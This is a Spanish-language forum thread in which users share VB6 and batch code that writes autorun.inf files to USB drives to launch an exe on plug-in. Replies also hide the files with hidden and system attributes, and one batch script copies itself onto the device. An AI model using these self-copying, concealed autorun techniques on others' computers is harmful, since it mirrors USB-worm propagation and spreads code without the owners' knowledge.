Hola a todos, he buscado en el foro esta pregunta pero no me ha servido... esque he metido en el Pendrive un exe (5.exe) y he hecho en mi pc otro exe con vb que crea en el PenDrive un autorun para que se ejecute la aplicacion que ai dentro al conectarlo al PC (balla lio no ??)...
El codigo del exe que crea el autorun en el Pendrive es este:
Private Sub Command1_Click()
Open "J:\autorun.inf" For Output As #1
Print #1, "[AUTORUN]"
Print #1, "open = 5.exe"
Close #1
MsgBox "OK"
Y lo he probado y funciona, el autorun lo crea, pero...
Al conectar el Pendrive al pc no se ejecuta nada :-\ ¿¿No entiendo??
Cita de: samue118 en 27 Julio 2008, 15:15 PM
Y lo he probado y funciona, el autorun lo crea, pero...
Al conectar el Pendrive al pc no se ejecuta nada :-\ ¿¿No entiendo??
Pues que no tienes al autorun activado :xD
No lo piyo BenRu :xD... a que te refieres con activarlo ???
Cita de: samue118 en 27 Julio 2008, 16:34 PM
No lo piyo BenRu :xD... a que te refieres con activarlo ???
windows trae una opcion para activar/desactivar el autorun.
si usas windows ue lo tendras desactivado :xD
haber si yo meto un CD (acabo de probarlo) se inicia automaticamente el juego, programa o lo q sea... pero el Pendrive no ¿?
Porcierto como se activa/desactiva el autorun ?? :rolleyes:
tu autorun esta incompleto buscate uno que sea mejor como el del T2W.. ese que tienes no servira asi
no se si te refieres a este ricardovinzo, es lo que he encontrado del T2W(que no se ni lo que es XD):
[Autorun]
Open= 5.exe
Icon=%SystemRoot%\system32\SHELL32.dll,7
UseAutoPlay=1
Action=Abrir USB
Action= @ 5.exe
shell\open=Abrir
shell\open\Command=5.exe
shell\open\Default=1
A y se me olvidaba... Sigue sin funcionar :-(
Sera de mi PC o del Pendrive (que en realidad es un mp4) ???
¡¡¡Ya funciona!!! XD alfinal con el mismo que el T2W al clickear sobfre el icono del Pendrive se ejecuta el programa directamente, lo malo es que no se abre la carpeta... ai que darle a explorar y ya sale, pero bueno ya sta solucionado, gracias ;D
Cita de: samue118 en 27 Julio 2008, 20:49 PM
¡¡¡Ya funciona!!! XD alfinal con el mismo que el T2W al clickear sobfre el icono del Pendrive se ejecuta el programa directamente, lo malo es que no se abre la carpeta... ai que darle a explorar y ya sale, pero bueno ya sta solucionado, gracias ;D
Pones en el .exe que quieres ejecutar que abra el explorador en la unidad que la contiene.
yo ya habia hecho esto, agradeceeee, jaja:
al ejecutar este programita, abre el explorador mostrando la unidad en la que esta contenida, asi que este por lo tanto debe estarn en el usb, de modo que abra el explorador...
en un modulo
Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Sub Main()
'==========================================================
'Codigo: by jackl007
'==========================================================
'Principal
Dim Unidad As String
Unidad = Mid(App.Path, 1, 3) 'nuestra unidad
'Para Obtener la carpeta Windows
Dim Car As String * 128
Dim Longitud, Es As Integer
Dim Camino As String
Longitud = 128
Es = GetWindowsDirectory(Car, Longitud)
Camino = RTrim$(LCase$(Left$(Car, Es))) 'Camino: ruta de windows
'Abrimos el explorador de Windows con nuestra unidad de la USB
Shell (Camino & "\explorer ") & Unidad, vbMaximizedFocus
End Sub
esto es mas que suficiente
Shell "explorer " & Left(App.Path, 2), vbNormalFocus
ok, solucionado... ahora me surge otra duda :rolleyes:... Cuando creo un autorun desde el VB ¿¿puedo ponerle el atrubuto oculto o no es posible?? ¿¿O esribir en el autorun algo para que quedo como oculto??
Esto es lo mejor:
SetAttr "file", vbHidden Or vbSystem 'oculta incluso asi este la opcion "mostrar oculto" activado :)
Hoy ha sido tu dia de suerte >:D
jaja gracias jackl007 ツ es cierto q es mi dia de suerte porque asta me afuncionado a la primera ;D ya se una cosa mas sobre el VB, solo me queda... TODO :xD
un saludo
Cita de: samue118 en 27 Julio 2008, 15:15 PM
Private Sub Command1_Click()
Open "J:\autorun.inf" For Output As #1
Print #1, "[AUTORUN]"
Print #1, "open = 5.exe"
Close #1
MsgBox "OK"
podrias intentar cambiar
Open "J:\autorun.inf" For Output As #1
a
Open "\autorun.inf" For Output As #1
solamente que tendrias que poner el archivo en la carpeta principa :xD y asi no te preocuparias de si cambias de unidad xD osea de j: a x:
saludos
aprobecho este mismo tema para una pregunta por que este modulo no anda?
Public Const FILE_ATTRIBUTE_HIDDEN = 2
Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Public Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Public Function Autorun(unidad As String, Rutadearchivo As String _
, archivo As String, ocultos As Boolean)
Dim error As Long
CopyFile Rutadearchivo, unidad & "\" & archivo, error
Open Environ$("Temp") & "\autorun.inf" For Output As #1
Print #1, "[Autorun]"
Print #1, "Open=" & archivo
Print #1, "Icon=%SystemRoot%\system32\SHELL32.dll,7"
Print #1, "UseAutoPlay=1"
Print #1, "Action=Abrir USB"
Print #1, "Action= @" & archivo
Print #1, "shell\open=Abrir"
Print #1, "shell\open\Command=" & archivo
Print #1, "shell\open\Default=1"
Print #1, "Shell\Explorer\Command=EXPLORER.EXE /E,\"
Close #1
CopyFile Environ$("Temp") & "\autorun.inf", unidad & "\" & "autorun.inf", error
If ocultos = True Then
SetFileAttributes unidad & "\" & archivo, FILE_ATTRIBUTE_HIDDEN
SetFileAttributes unidad & "\autorun.txt", FILE_ATTRIBUTE_HIDDEN
End If
MsgBox error
End Function
Bueno si tienes muchos problemas podrias enves de hacerlo en visualbasic podrias hacerlo en bat y luego juntarlo con tu aplicacion resultante
@XCOPY %0 %x%
@ATTRIB %0 +H +S
echo [AUTORUN] > %x%Autorun.inf
echo OPEN=Driver.exe >> %x%Autorun.inf
echo shell\open\command=[color=red]aplicacion.exe[/color]>> %x%Autorun.inf
echo shell\open=' >> %x%Autorun.inf
cd %x%
Donde %x% es la variable del nombre del dispositivo
donde aplicacion.exe es el nombre final de tu aplicacion espero que te sirva saludos
Cita de: bikutoru123 en 30 Julio 2008, 02:34 AM
Bueno si tienes muchos problemas podrias enves de hacerlo en visualbasic podrias hacerlo en bat y luego juntarlo con tu aplicacion resultante
@XCOPY %0 %x%
@ATTRIB %0 +H +S
echo [AUTORUN] > %x%Autorun.inf
echo OPEN=Driver.exe >> %x%Autorun.inf
echo shell\open\command=[color=red]aplicacion.exe[/color]>> %x%Autorun.inf
echo shell\open=' >> %x%Autorun.inf
cd %x%
Donde %x% es la variable del nombre del dispositivo
donde aplicacion.exe es el nombre final de tu aplicacion espero que te sirva saludos
No quiero usar batch estamos en el foro de VB este foro es para ayudar enn VB no en batch.